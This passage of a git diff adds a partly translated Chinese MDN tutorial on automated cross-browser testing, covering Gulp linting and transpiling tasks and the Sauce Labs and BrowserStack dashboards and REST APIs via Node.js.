href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html new file mode 100644 index 0000000000..76dbbef3b8 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/automated_testing/index.html @@ -0,0 +1,602 @@ +--- +title: Introduction to automated testing +slug: Learn/Tools_and_testing/Cross_browser_testing/Automated_testing +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Automated_testing +--- +<div> {{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">Manually running tests on several browsers and devices, several times per day, can get tedious, and time consuming. To handle this efficiently, you should become familiar with automation tools. In this article, we look at what is available, how to use task runners, and how to use the basics of commercial browser test automation apps such as, Sauce Labs and Browser Stack.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td>Familiarity with the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages; an idea of the high level <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">principles of cross browser testing</a>.</td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier.</td> + </tr> + </tbody> +</table> + +<h2 id="自动化让事情变得简单">自动化让事情变得简单</h2> + +<p>Throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more. Sounds like a lot of work, doesn't it?</p> + +<p>We agree — testing all the things we've looked at in previous articles manually can be a real pain. Fortunately, there are tools to help us automate some of this pain away. There are two main ways in which we can automate the tests we've been talking about in this module:</p> + +<ol> + <li>Use a task runner such as <a href="http://gruntjs.com/">Grunt</a> or <a href="http://gulpjs.com/">Gulp</a>, or <a href="https://docs.npmjs.com/misc/scripts">npm scripts</a> to run tests and clean up code during your build process. This is a great way to perform tasks like linting and minifying code, adding in CSS prefixes or transpiling nascent JavaScript features for maximum cross-browser reach, and so on.</li> + <li>Use a browser automation system like <a href="http://www.seleniumhq.org/">Selenium</a> to run specific tests on installed browsers and return results, alerting you to failures in browsers as they crop up. Commercial cross-browser testing apps like <a href="https://saucelabs.com/">Sauce Labs</a> and <a href="https://www.browserstack.com/">Browser Stack</a> are based on Selenium, but allow you to access their set up remotely using a simple interface, saving you the hassle of setting up your own testing system.</li> +</ol> + +<p>We will look at how to set up your own Selenium-based testing system in the next article. In this article, we'll look at how to set up a task runner, and use the basic functionality of commercial systems like the ones mentioned above.</p> + +<div class="note"> +<p><strong>Note</strong>: the above two categories are not mutually exclusive. It is possible to set up a task runner to access a service like Sauce Labs via an API, run cross browser tests, and return results. We will look at this below as well.</p> +</div> + +<h2 id="使用任务运行器作为自动化测试工具">使用任务运行器作为自动化测试工具</h2> + +<p>As we said above, you can drastically speed up common tasks such as linting and minifying code by using a task runner to run everything you need to run automatically at a certain point in your build process. For example, this could be every time you save a file, or at some other point. Inside this section we'll look at how to automate task running with Node and Gulp, a beginner-friendly option.</p> + +<h3 id="Setting_up_Node_and_npm">Setting up Node and npm</h3> + +<p>很多工具都是基于 {{Glossary("Node.js")}},所以你需要从 <a href="https://nodejs.org/">nodejs.org</a>安装它:</p> + +<ol> + <li>从上面的网站下载适合你系统的安装软件。 (如果你已经安装了Node和npm,跳到步骤4)</li> + <li>像其它软件那样正常安装。注意Node来源于 <a href="https://www.npmjs.com/">Node Package Manager</a> (npm),它使你能更快地安装包、同它人分享你的包,并在你的工程上运行有用的脚本。</li> + <li>安装结束后,运行下列命令查看Node和npm的版本,检测node是否正确安装好 : + <pre class="brush: bash">node -v +npm -v</pre> + </li> + <li>安装 Node/npm 后,还应将其更新到最新的版本。 更新Node最有效可靠的方式是从它的网站(链接见上)下载一个最新的安装包进行安装。 而更新npm,可以在你的命令行终端运行如下命令: + <pre class="brush: bash">npm install npm@latest -g</pre> + </li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: If the above command fails with permissions errors, <a href="https://docs.npmjs.com/getting-started/fixing-npm-permissions">Fixing npm permissions</a> should sort you out.</p> +</div> + +<p>要在你的工程上使用基于Node/npm的包,你还需要把你的工程目录设为npm工程。这并不难。</p> + +<p>举例如下,首先创建一个测试目录,以免在测试的过程中产生任何错误。</p> + +<ol> + <li>使用文件管理UI在合适的地方创建一个新的目录,或在命令行下定位到你想要创建目录的地方,执行如下命令: + <pre class="brush: bash">mkdir node-test</pre> + </li> + <li>要使这个目录成为一个npm工程, 你需要进入目录下然后初始化它: + <pre class="brush: bash">cd node-test +npm init</pre> + </li> + <li>第2步执行后你会看到要回答一些问题,这是建立工程需要获取的信息。现在你可以先选择使用默认值。</li> + <li>所有问题回答完成后,你还需要确定信息是否OK。输入yes或者直接回车,npm就会在你的目录下生成一个package.json文件。</li> +</ol> + +<p>这是一个工程的基本配置文件。你可以后续对它进行修改,现在,它的内容是这样的:</p> + +<pre class="brush: json">{ + "name": "node-test", + "version": "1.0.0", + "description": "Test for npm projects", + "main": "index.js", + "scripts": { + "test": "test" + }, + "author": "Chris Mills", + "license": "MIT" +}</pre> + +<p>现在,你可以继续往下了。</p> + +<h3 id="Setting_up_Gulp_automation">Setting up Gulp automation</h3> + +<p>Let's look at setting up Gulp and using it to automate some testing tools.</p> + +<ol> + <li>To begin with, create a test npm project using the procedure detailed at the bottom of the previous section.</li> + <li>Next, you'll need some sample HTML, CSS and JavaScript content to test your system on — make copies of our sample <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/automation/index.html">index.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/automation/main.js">main.js</a>, and <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/automation/style.css">style.css</a> files in a subfolder with the name <code>src</code> inside your project folder. You can try your own test content if you like, but bear in mind that such tools won't work on internal JS/CSS — you need external files.</li> + <li>First, install gulp globally (meaning, it will be available across all projects) using the following command: + <pre class="brush: bash">npm install --global gulp-cli</pre> + </li> + <li>Next, run the following command inside your npm project directory root to set up gulp as a dependency of your project: + <pre class="brush: bash">npm install --save-dev gulp</pre> + </li> + <li>Now create a new file inside your project directory called <code>gulpfile.js</code>. This is the file that will run all our tasks. Inside this file, put the following: + <pre class="brush: js">var gulp = require('gulp'); + +gulp.task('default', function() { + console.log('Gulp running'); +});</pre> + This requires the <code>gulp</code> module we installed earlier, and then runs a basic task that does nothing except for printing a message to the terminal — this is useful for letting us know that Gulp is working. Each gulp task is written in the same basic format — <code>gulp</code>'s <code>task()</code> method is run, and given two parameters — the name of the task, and a callback function containing the actual code to run to complete the task.</li> + <li>You can run your gulp task with the following commands — try this now: + <pre class="brush: bash">gulp +</pre> + </li> +</ol> + +<h3 id="Adding_some_real_tasks_to_Gulp">Adding some real tasks to Gulp</h3> + +<p>To add some real tasks to Gulp, we need to think about what we want to do. A reasonable set of basic functionalities to run on our project is as follows:</p> + +<ul> + <li>html-tidy, css-lint, and js-hint to lint and report/fix common HTML/CSS/JS errors (see <a href="https://www.npmjs.com/package/gulp-htmltidy/">gulp-htmltidy</a>, <a href="https://www.npmjs.com/package/gulp-csslint/">gulp-csslint</a>, <a href="https://www.npmjs.com/package/gulp-jshint/">gulp-jshint</a>).</li> + <li>Autoprefixer to scan our CSS and add vendor prefixes only where needed (see <a href="https://www.npmjs.com/package/gulp-autoprefixer/">gulp-autoprefixer</a>).</li> + <li>babel to transpile any new JavaScript syntax features to traditional syntax that works in older browsers (see <a href="https://www.npmjs.com/package/gulp-babel/">gulp-babel</a>).</li> +</ul> + +<p>See the links above for full instructions on the different gulp packages we are using.</p> + +<p>To use each plugin, you need to first install it via npm, then require any dependencies at the top of the <code>gulpfile.js</code> file, then add your test(s) to the bottom of it, and finally add the name of your task inside the <code>default</code> task.</p> + +<p>Before you go any further, update the default task to this:</p> + +<pre class="brush: js">gulp.task('default', [ ]);</pre> + +<p>Inside the array goes the names of all the tasks you want Gulp to run, once you run the <code>gulp</code> command on the command line.</p> + +<h4 id="html-tidy">html-tidy</h4> + +<ol> + <li>Install using the following line: + <pre class="brush: bash"><span class="text"><span>npm install --save-dev gulp-htmltidy</span></span> +</pre> + + <div class="note"> + <p><strong>Note</strong>: <code>--save-dev</code> adds the package as a dependency to your project. If you look in your project's <code>package.json</code> file, you'll see an entry for it as, it has been added to the <code>devDependencies</code> property.</p> + </div> + </li> + <li class="line">Add the following dependencies to <code>gulpfile.js</code>: + <pre class="brush: js">var htmltidy = require('gulp-htmltidy');</pre> + </li> + <li>Add the following test to the bottom of <code>gulpfile.js</code>: + <pre class="brush: js">gulp.task('html', function() { + return gulp.src('src/index.html') + .pipe(htmltidy()) + .pipe(gulp.dest('build')); +});</pre> + </li> + <li>Add <code>'html'</code> as an item inside the array in the <code>default</code> task.</li> +</ol> + +<p>Here we are grabbing our development <code>index.html</code> file — <code>gulp.src()</code> which allows us to grab a source file to do something with.</p> + +<p>We next use the <code>pipe()</code> function to pass that source to another command to do something else with. We can chain as many of these together as we want. We first run <code>htmltidy()</code> on the source, which goes through and fixes errors in our file. The second <code>pipe()</code> function writes the output HTML file to the <code>build</code> directory.</p> + +<p>In the input version of the file, you may have noticed that we put an empty {{htmlelement("p")}} element; htmltidy has removed this by the time the output file has been created.</p> + +<h4 id="Autoprefixer_and_css-lint">Autoprefixer and css-lint</h4> + +<ol> + <li>Install using the following lines: + <pre class="brush: bash">npm install --save-dev gulp-autoprefixer +npm install --save-dev gulp-csslint</pre> + </li> + <li>Add the following dependencies to <code>gulpfile.js</code>: + <pre class="brush: js">var autoprefixer = require('gulp-autoprefixer'); +var csslint = require('gulp-csslint');</pre> + </li> + <li>Add the following test to the bottom of <code>gulpfile.js</code>: + <pre class="brush: js">gulp.task('css', function() { + return gulp.src('src/style.css') + .pipe(csslint()) + .pipe(csslint.formatter('compact')) + .pipe(autoprefixer({ + browsers: ['last 5 versions'], + cascade: false + })) + .pipe(gulp.dest('build')); +});</pre> + </li> + <li>Add <code>'css'</code> as an item inside the array in the <code>default</code> task.</li> +</ol> + +<p>Here we grab our <code>style.css</code> file, run csslint on it (which outputs a list of any errors in your CSS to the terminal), then runs it through autoprefixer to add any prefixes needed to make nascent CSS features run in older browsers. At the end of the pipe chain, we output our modified prefixed CSS to the <code>build </code>directory. Note that this only works if csslint doesn't find any errors — try removing a curly brace from your CSS file and re-running gulp to see what output you get!</p> + +<h4 id="js-hint_and_babel">js-hint and babel</h4> + +<ol> + <li>Install using the following lines: + <pre class="editor editor-colors">npm install --save-dev gulp-babel babel-preset-es2015 +<span class="shell source"><span>npm install jshint gulp-jshint --save-dev</span></span> +</pre> + </li> + <li>Add the following dependencies to <code>gulpfile.js</code>: + <pre class="editor editor-colors">var babel = require('gulp-babel'); +<span class="js source"><span class="js storage type"><span>var</span></span><span> jshint </span><span class="assignment js keyword operator"><span>=</span></span><span> </span><span class="function-call js meta"><span class="function js support"><span>require</span></span><span class="js meta"><span class="begin definition js punctuation round"><span>(</span></span><span class="js quoted single string"><span class="begin definition js punctuation string"><span>'</span></span><span>gulp-jshint</span><span class="definition end js punctuation string"><span>'</span></span></span><span class="definition end js punctuation round"><span>)</span></span></span></span><span class="js punctuation statement terminator"><span>;</span></span></span> +</pre> + </li> + <li class="line">Add the following test to the bottom of <code>gulpfile.js</code>: + <pre class="brush: js">gulp.task('js', function() { + return gulp.src('src/main.js') + .pipe(jshint()) + .pipe(jshint.reporter('default')) + .pipe(babel({ + presets: ['es2015'] + })) + .pipe(gulp.dest('build')); +});</pre> + </li> + <li>Add <code>'js'</code> as an item inside the array in the <code>default</code> task.</li> +</ol> + +<p>Here we grab our <code>main.js</code> file, run <code>jshint</code> on it and output the results to the terminal using <code>jshint.reporter</code>; we then pass the file to babel, which converts it to old style syntax and outputs the result into the <code>build</code> directory. Our original code included a <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">fat arrow function</a>, which babel has modified into an old style function.</p> + +<h4 id="Further_ideas">Further ideas</h4> + +<p>Once all this is all set up, you can run the <code>gulp</code> command inside your project directory, and you should get an output like this:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14227/gulp-output.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p> + +<p>You can then try out the files output by your automated tasks by looking at them inside the <code>build</code> directory, and loading <code>build/index.html</code> in your web browser.</p> + +<p>If you get errors, check that you've added all the dependencies and the tests as shown above; also try commenting out the HTML/CSS/JavaScript code sections and then rerunning gulp to see if you can isolate what the problem is.</p> + +<p>Gulp comes with a <code>watch()</code> function that you can use to watch your files and run tests whenever you save a file. For example, try adding the following to the bottom of your <code>gulpfile.js</code>:</p> + +<pre class="brush: js">gulp.task('watch', function(){ + gulp.watch('src/*.html', ['html']); + gulp.watch('src/*.css', ['css']); + gulp.watch('src/*.js', ['js']); +});</pre> + +<p>Now try entering the <code>gulp watch</code> command into your terminal. Gulp will now watch your directory, and run the appropriate tasks whenever you save a change to an HTML, CSS, or JavaScript file.</p> + +<div class="note"> +<p><strong>Note</strong>: The <code>*</code> character is a wildcard character — here we're saying "run these tasks when any files of these types are saved. You could also use wildcards in your main tasks, for example <code>gulp.src('src/*.css')</code> would grab all your CSS files and then run piped tasks on them.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: One problem with our watch command above is that our CSSLint/Autoprefixer combination throws full-blown errors when a CSS error is encountered, which stops the watch working. You'll have to restart the watch once a CSS error is encountered, or find another way to do this.</p> +</div> + +<p>There's a lot more you can do with Gulp. The <a href="http://gulpjs.com/plugins/">Gulp plugin directory</a> has literally thousands of plugins to search through.</p> + +<h3 id="Other_task_runners">Other task runners</h3> + +<p>There are many other task runners available. We certainly aren't trying to say that Gulp is the best solution out there, but it works for us and it is fairly accessible to beginners. You could also try using other solutions:</p> + +<ul> + <li>Grunt works in a very similar way to Gulp, except that it relies on tasks specified in a config file, rather than using written JavaScript. See <a href="http://gruntjs.com/getting-started">Getting started with Grunt for more details.</a></li> + <li>You can also run tasks directly using npm scripts located inside your <code>package.json</code> file, without needing to install any kind of extra task runner system. This works on the premise that things like Gulp plugins are basically wrappers around command line tools. So, if you can work out how to run the tools using the command line, you can then run them using npm scripts. It is a bit trickier to work with, but can be rewarding for those who are strong with their command line skills.<a href="https://css-tricks.com/why-npm-scripts/"> Why npm scripts?</a> provides a good introduction with a good deal of further information.</li> +</ul> + +<h2 id="使用商业测试服务加快浏览器测试">使用商业测试服务加快浏览器测试</h2> + +<p>Now let's look at commercial 3rd party browser testing services and what they can do for us.</p> + +<p>The basic premise with such applications is that the company that runs each one has a huge server farm that can run many different tests. When you use this service, you provide a URL of the page you want to test along with information, such as what browsers you want it tested in. The app then configures a new VM with the OS and browser you specified, and returns the test results in the form of screenshots, videos, logfiles, text, etc.</p> + +<p>You can then step up a gear, using an API to access functionality programmatically, which means that such apps can be combined with task runners, such as your own local Selenium environments and others, to create automated tests.</p> + +<div class="note"> +<p><strong>Note</strong>: There are other commercial browser testing systems available but in this article, we'll focus on Sauce Labs and BrowserStack. We're not saying that these are necessarily the best tools available, but they are good ones that are simple for beginners to get up and running with.</p> +</div> + +<h3 id="Sauce_Labs">Sauce Labs</h3> + +<h4 id="Sauce_Labs入门">Sauce Labs入门</h4> + +<p>Let's get started with a Sauce Labs Trial.</p> + +<ol> + <li>Create a <a href="https://saucelabs.com/signup/trial">Sauce Labs trial account</a>.</li> + <li>Sign in. This should happen automatically after you verify your e-mail address.</li> +</ol> + +<h4 id="The_basics_Manual_tests">The basics: Manual tests</h4> + +<p>The <a href="https://saucelabs.com/beta/dashboard/manual">Sauce Labs dashboard</a> has a lot of options available on it. For now, make sure you are on the <em>Manual Tests</em> tab.</p> + +<ol> + <li>Click <em>Start a new manual session</em>.</li> + <li>In the next screen, type in the URL of a page you want to test (use <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html">http://mdn.github.io/learning-area/javascript/building-blocks/events/show-video-box-fixed.html</a>, for example), then choose a browser/OS combination you want to test by using the different buttons and lists. There is a lot of choice, as you'll see! <img alt="" src="https://mdn.mozillademos.org/files/14229/sauce-manual-session.png" style="border-style: solid; border-width: 1px; display: block; height: 636px; margin: 0px auto; width: 600px;"></li> + <li>When you click Start session, a loading screen will then appear, which spins up a virtual machine running the combination you chose.</li> + <li>When loading has finished, you can then start to remotely test the web site running in the chosen browser. <img alt="" src="https://mdn.mozillademos.org/files/14231/sauce-test-running.png" style="display: block; height: 390px; margin: 0px auto; width: 800px;"></li> + <li>From here you can see the layout as it would look in the browser you are testing, move the mouse around and try clicking buttons, etc. The top menu allows you to: + <ul> + <li>Stop the session</li> + <li>Give someone else a URL so they can observe the test remotely.</li> + <li>Copy text/notes to a remote clipboard.</li> + <li>Take a screenshot.</li> + <li>Test in full screen mode.</li> + </ul> + </li> +</ol> + +<p>Once you stop the session, you'll return to the Manual Tests tab, where you'll see an entry for each of the previous manual sessions you started. Clicking on one of these entries shows more data for the session. In here you can download any screenshots you took , watch a video of the session, and view data logs for the session for example.</p> + +<div class="note"> +<p><strong>Note</strong>: This is already very useful, and way more convenient than having to set up all these emulators and virtual machines by yourself.</p> +</div> + +<h4 id="Advanced_The_Sauce_Labs_API">Advanced: The Sauce Labs API</h4> + +<p>Sauce Labs has a <a href="https://wiki.saucelabs.com/display/DOCS/The+Sauce+Labs+REST+API">restful API</a> that allows you to programmatically retrieve details of your account and existing tests, and annotate tests with further details, such as their pass/fail state which isn't recordable by manual testing alone. For example, you might want to run one of your own Selenium tests remotely using Sauce Labs, to test a certain browser/OS combination, and then pass the test results back to Sauce Labs.</p> + +<p>It has several clients available to allow you to make calls to the API using your favourite environment, be it PHP, Java, Node.js, etc.</p> + +<p>Let's have a brief look at how we'd access the API using Node.js and <a href="https://github.com/danjenkins/node-saucelabs">node-saucelabs</a>.</p> + +<ol> + <li>First, set up a new npm project to test this out, as detailed in {{anch("Setting up Node and npm")}}. Use a different directory name than before, like <code>sauce-test</code> for example.</li> + <li>Install the Node Sauce Labs wrapper using the following command: + <pre>npm install saucelabs</pre> + </li> + <li>Create a new file inside your project root called <code>call_sauce.js</code>. give it the following contents: + <pre class="brush: js">var SauceLabs = require('saucelabs'); + +var myAccount = new SauceLabs({ + username: "your-sauce-username", + password: "your-sauce-api-key" +}); + +myAccount.getAccountDetails(function (err, res) { + console.log(res); + myAccount.getServiceStatus(function (err, res) { + // Status of the Sauce Labs services + console.log(res); + myAccount.getJobs(function (err, jobs) { + // Get a list of all your jobs + for (var k in jobs) { + if ( jobs.hasOwnProperty( k )) { + myAccount.showJob(jobs[k].id, function (err, res) { + var str = res.id + ": Status: " + res.status; + if (res.error) { + str += "\033[31m Error: " + res.error + " \033[0m"; + } + console.log(str); + }); + } + } + }); + }); +});</pre> + </li> + <li>You'll need to fill in your Sauce Labs username and API key in the indicated places. These can be retrieved from your <a href="https://saucelabs.com/beta/user-settings">User Settings</a> page. Fill these in now.</li> + <li>Make sure everything is saved, and run your file like so: + <pre class="brush: bash">node call_sauce</pre> + </li> +</ol> + +<h4 id="Advanced_Automated_tests">Advanced: Automated tests</h4> + +<p>We'll cover actually running automated Sauce Lab tests in the next article.</p> + +<h3 id="BrowserStack">BrowserStack</h3> + +<h4 id="BrowserStack入门">BrowserStack入门</h4> + +<p>Let's get started with a BrowserStack Trial.</p> + +<ol> + <li>Create a <a href="https://www.browserstack.com/users/sign_up">BrowserStack trial account</a>.</li> + <li>Sign in. This should happen automatically after you verify your e-mail address.</li> + <li>When you first sign in, you should be on the Live testing page; if not, click the <em>Live</em> link in the top nav menu.</li> + <li>If you are on Firefox or Chrome, you'll be prompted to Install a browser extension in a dialog titled "Enable Local Testing" — click the <em>Install</em> button to proceed. If you are on other browsers you'll still be able to use some of the features (generally via Flash), but you won't get the full experience.</li> +</ol> + +<h4 id="基础:手动测试">基础:手动测试</h4> + +<p>The BrowserStack Live dashboard allows you to choose what device and browser you want to test on — Platforms in the left column, devices on the right. When you mouse over or click on each device, you get a choice of browsers available on that device.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15377/browserstack-test-choices-sized.png" style="border-style: solid; border-width: 1px; display: block; height: 339px; margin: 0px auto; width: 700px;"></p> + +<p>Clicking on one of those browser icons will load up your choice of platform/device/browser — choose one now, and give it a try.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15379/browserstack-test-device-sized.png" style="border-style: solid; border-width: 1px; display: block; height: 841px; margin: 0px auto; width: 450px;"></p> + +<div class="note"> +<p><strong>Note</strong>: The blue device icon next to some of the mobile device choices signals that you will be testing on a real device; choices without that icon will be run on an emulator.</p> +</div> + +<p>You'll find that you can enter URLs into the address bar, and use the other controls like you'd expect on a real device. You can even do things like copy and paste from the device to your clipboard, scroll up and down by dragging with the mouse, or use appropriate gestures (e.g. pinch/zoom, two fingers to scroll) on the touchpads of supporting devices (e.g. Macbook). Note that not all features are available on all devices.</p> + +<p>You'll also see a menu that allows you to control the session.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/15381/browserstack-test-menu-sized.png" style="border-style: solid; border-width: 1px; display: block; height: 636px; margin: 0px auto; width: 217px;"></p> + +<p>The features here are as follows:</p> + +<ul> + <li><em>Switch</em> — Change to another platform/device/browser combination.</li> + <li>Orientation (looks like a Reload icon) — Switch orientation between portrait and landscape.</li> + <li>Fit to screen (looks like a full screen icon) — Fill the testing areas as much as possible with the device.</li> + <li>Capture a bug (looks like a camera) — Takes a screenshot, then allows you to annotate and save it.</li> + <li>Issue tracker (looks like a deck of cards) — View previously captured bugs/screenshots.</li> + <li>Settings (cog icon) — Allows you to alter general settings for the session.</li> + <li>Help (question mark) — Accesses help/support functions.</li> + <li><em>Devtools</em> — Allows you to use your browser's devtools to directly debug or manipulate the page being shown in the test browser. This currently only works when testing the Safari browser on iOS devices.</li> + <li><em>Device info</em> — Displays information about the testing device.</li> + <li><em>Features</em> — Shows you what features the current configuration supports, e.g. copy to clipboard, gesture support, etc.</li> + <li><em>Stop</em> — Ends the session.</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: This is already very useful, and way more convenient than having to set up all these emulators and virtual machines by yourself.</p> +</div> + +<h4 id="其他基本功能">其他基本功能</h4> + +<p>If you go back to the main BrowserStack page, you'll find a couple of other useful basic features under the <em>More</em> menu option:</p> + +<ul> + <li><em>Responsive</em>: Enter a URL and press <em>Generate</em>, and BrowserStack will load that URL on multiple devices with different viewport sizes. Within each device you can further adjust settings like monitor size, to get a good idea of how your site's layout works across different form factors.</li> + <li><em>Screenshots</em>: Enter a URL, choose the browsers/devices/platforms you are interested in, then press <em>Generate screenshots</em> — Browserstack will take screenshots of your site in all those different browsers then make them available to you to view and download.</li> +</ul> + +<h4 id="高级_BrowserStack_API">高级: BrowserStack API</h4> + +<p>BrowserStack also has a <a href="https://www.browserstack.com/automate/rest-api">restful API</a> that allows you to programmatically retrieve details of your account plan, sessions, builds, etc.</p> + +<p>It has several clients available to allow you to make calls to the API using your favourite environment, be it PHP, Java, Node.js, etc.</p> + +<p>Let's have a brief look at how we'd access the API using Node.js.</p> + +<ol> + <li>First, set up a new npm project to test this out, as detailed in {{anch("Setting up Node and npm")}}. Use a different directory name than before, like <code>bstack-test</code> for example.</li> + <li>Create a new file inside your project root called <code>call_bstack.js</code>. give it the following contents: + <pre class="brush: js">var request = require("request"); + +var bsUser = "BROWSERSTACK_USERNAME"; +var bsKey = "BROWSERSTACK_ACCESS_KEY"; +var baseUrl = "https://" + bsUser + ":" + bsKey + "@www.browserstack.com/automate/"; + +function getPlanDetails(){ + request({uri: baseUrl + "plan.json"}, function(err, res, body){ + console.log(JSON.parse(body)); + }); + /* Response: + { + automate_plan: <string>, + parallel_sessions_running: <int>, + team_parallel_sessions_max_allowed: <int>, + parallel_sessions_max_allowed: <int>, + queued_sessions: <int>, + queued_sessions_max_allowed: <int> + } + */ +} + +getPlanDetails(); +</pre> + </li> + <li>You'll need to fill in your BrowserStack username and API key in the indicated places. These can be retrieved from your <a href="https://www.browserstack.com/automate">BrowserStack automation dashboard</a>. Fill these in now.</li> + <li>Make sure everything is saved, and run your file like so: + <pre class="brush: bash">node call_bstack</pre> + </li> +</ol> + +<p>Below we've also provided some other ready-made functions you might find useful when working with the BrowserStack restful API.</p> + +<pre class="brush: js">function getBuilds(){ + request({uri: baseUrl + "builds.json"}, function(err, res, body){ + console.log(JSON.parse(body)); + }); + /* Response: + [ + { + automation_build: { + name: <string>, + duration: <int>, + status: <string>, + hashed_id: <string> + } + }, + { + automation_build: { + name: <string>, + duration: <int>, + status: <string>, + hashed_id: <string> + } + }, + ... + ] + */ +}; + +function getSessionsInBuild(build){ + var buildId = build.automation_build.hashed_id; + request({uri: baseUrl + "builds/" + buildId + "/sessions.json"}, function(err, res, body){ + console.log(JSON.parse(body)); + }); + /* Response: + [ + { + automation_session: { + name: <string>, + duration: <int>, + os: <string>, + os_version: <string>, + browser_version: <string>, + browser: <string>, + device: <string>, + status: <string>, + hashed_id: <string>, + reason: <string>, + build_name: <string>, + project_name: <string>, + logs: <string>, + browser_url: <string>, + public_url: <string>, + video_url: <string>, + browser_console_logs_url: <string>, + har_logs_url: <string> + } + }, + { + automation_session: { + name: <string>, + duration: <int>, + os: <string>, + os_version: <string>, + browser_version: <string>, + browser: <string>, + device: <string>, + status: <string>, + hashed_id: <string>, + reason: <string>, + build_name: <string>, + project_name: <string>, + logs: <string>, + browser_url: <string>, + public_url: <string>, + video_url: <string>, + browser_console_logs_url: <string>, + har_logs_url: <string> + } + }, + ... + ] + */ +} + +function getSessionDetails(session){ + var sessionId = session.automation_session.hashed_id; + request({uri: baseUrl + "sessions/" + sessionId + ".json"}, function(err, res, body){ + console.log(JSON.parse(body)); + }); + /* Response: + { + automation_session: { + name: <string>, + duration: <int>, + os: <string>, + os_version: <string>, + browser_version: <string>, + browser: <string>, + device: <string>, + status: <string>, + hashed_id: <string>, + reason: <string>, + build_name: <string>, + project_name: <string>, + logs: <string>, + browser_url: <string>, + public_url: <string>, + video_url: <string>, + browser_console_logs_url: <string>, + har_logs_url: <string> + } + } + */ +}</pre> + +<h4 id="高级_自动化测试">高级: 自动化测试</h4> + +<p>We'll cover actually running automated BrowserStack tests in the next article.</p> + +<h2 id="总结">总结</h2> + +<p>This was quite a ride, but I'm sure you can start to see the benefit in having automation tools do a lot of the heavy lifting for you in terms of testing.</p> + +<p>In the next article, we'll look at setting up our own local automation system using Selenium, and how to combine that with services such as Sauce Labs and BrowserStack</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html new file mode 100644 index 0000000000..34f3e66ba4 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/feature_detection/index.html @@ -0,0 +1,344 @@ +--- +title: Implementing feature detection +slug: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Feature_detection +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p 